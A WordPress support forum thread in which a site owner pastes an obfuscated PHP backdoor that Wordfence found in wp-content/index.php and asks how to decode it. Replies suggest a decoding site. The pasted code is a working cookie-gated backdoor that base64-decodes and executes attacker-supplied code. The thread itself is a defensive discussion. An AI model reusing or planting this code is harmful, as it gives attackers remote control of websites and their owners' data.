• a1exus

    (@a1exus)


    Wordfence scan showed me an issue with wordpress/wp-content/index.php file, after further examination, I found following:

    $ cat index.php
    <?php $np="\x5f\x43O\x4f\x4b\x49\x45";$qe7=&$$np;$dv=array("sz"=>@$qe7["\x7ah\x33\x70"],"kcu"=>"\x66\x39\x33\x65\x38\x309\x6131d\x64\x62\x63\x30\x38\x65\x65\x62\x30\x66\x33\x35\x65\x34\x39\x37\x34\x62\x63\x66\x37","ne7"=>"\x6d\x64\x35","vtd"=>"ba\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","ofb"=>"\x63\x72\x65a\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6fn","km"=>"\x7a2\x6f\x7a\x65\x68\x30\x30");$dt="e\x78\x74\x72\x61\x63\x74";$dt($dv);if($ne7(@$qe7[$km])==$kcu){$oli=$ofb("",$vtd($sz));$oli();}
    
    // Silence is golden.
    ?>$

    … of course, I restored file back to original (thanks to Worfence), but how would I decode that? I’m just curios)

    Anyone?

    https://wordpress.org/plugins/wordfence/

Viewing 2 replies - 1 through 2 (of 2 total)
  • WFBrian

    (@wfbrian)

    Hi,

    Look for a site that will decode PHP. This was the first one I found by doing a search.

    https://www.unphp.net

    Just paste the code there and it will decode it.

    Hope that helps!
    Brian

    mountainguy2

    (@mountainguy2)

    That looks an awful lot like some of the hacks I’ve been seeing examples of lately, using obfuscated code… scary. MTN

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘wordpress/wp-content/index.php – Silence is golden’ is closed to new replies.